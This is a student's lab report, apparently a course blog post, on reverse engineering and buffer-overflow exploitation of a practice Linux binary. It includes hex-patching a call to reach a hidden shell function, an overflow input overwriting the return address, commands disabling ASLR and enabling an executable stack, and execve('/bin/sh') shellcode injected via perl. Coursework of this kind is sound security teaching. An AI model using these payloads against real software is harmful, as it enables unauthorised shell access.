2019-2020-2 2 20175235 泽仁拉措 《网络对抗技术》实验一 PC平台逆向破解

20175235 《网络对抗技术》实验一 PC平台逆向破解


20175235泽仁拉措

**目录:**

一、逆向及BOF基础实践说明

二、实验操作及具体步骤

三、实验收获与感想

实验内容
一、逆向及BOF基础实践说明
  • 1.1实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell

正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何
Shellcode
返回目录

  • 1.2基础知识

    ①、 objdump反汇编常用参数

    objdump -d <file(s)>: 将代码段反汇编;

    objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;

    objdump -C <file(s)>: 将C++符号名逆向解析

    objdump -l <file(s)>: 反汇编代码中插入文件名和行号

    objdump -j section <file(s)>: 仅反汇编指定的section

    ②、 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    •NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    •JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    •JE:条件转移指令,如果相等则跳转。(机器码:74)

    •JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

    •CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    ③、 反汇编与十六进制编程器

    反汇编指令为objdump -d <文件名>

    十六进制指令为perl -e 'print "字符/字符串"' > <文件名>

二、实验操作及具体步骤
  • 1.1修改程序机器指令,改变程序执行流程

    1.下载目标文件pwn1,并输入指令objdump -d pwn1 | more进行反汇编


    2.第一列为内存地址,第二列为机器指令、第三列

    为机器指令对应的汇编语言。

    3.main函数调用getshell,计算getShell-80484ba的补码,并用其替换掉d7ffffff即可在windows计算器中计算804847d-80484ba即可得到补码c3ffffff
    4.首先vi pwn1,打开文件后为乱码

    5.输入%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

    6.输入i进入插入模式,将d7修改为c3
    输入:%!xxd -r将十六进制模式转换为原格式
    输入:wq保存退出,反汇编查看机器指令;



    7../pwn0运行结果

  • 1.2通过构造输入参数,造成BOF攻击,改变程序执行流

    · 安装gdb,输入sudo apt-get install gdb后使用命令gdb pwn3调试程序,参数r表示运行

    · 若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错

    · 使用info r指令显示寄存器的值

    ·getshell函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为\x7d\x84\x04\x08

    ·输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    ·使用xxd input查看文件内容


  • 1.3注入Shellcode并执行
    ·安装execstack
    ·修改设置
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

    ·构造payload,提供构造命令如下:

    perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73
    \x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
    \x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

    ·注入:cat input_shellcode;cat) | ./pwn3


·开启一个新的终端,输入ps -ef | grep pwn3查询其进程号,gdb调试进程
·输入attach3044调试该进程,输入disassemble foo查看ret的地址,break *0x080484ae设置断点

·进入第一个终端运行程序,在新终端gdb中输入c继续运行,输入info r esp查看栈顶指针位置、改地址存放的数据(见上图)
老操作,修改文件中的代码并执行,攻击成功:

返回目录

三、实验收获与感想
      1.这次实验刚开始复制pwn1目标文件,共享文件夹完成的较好,直接拖到主机就成功了,后面下载了gdb,实验很顺利的进行下去了,除了不细心,总会敲错指令,整体还是挺顺利的,收获还是很多的,深刻认识到了缓冲区溢出攻击。
      2.什么是漏洞,漏洞有哪些危害?
          ·漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
          ·如果被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。
posted @ 2020-03-09 14:04  20175235  阅读(126)  评论(0编辑  收藏  举报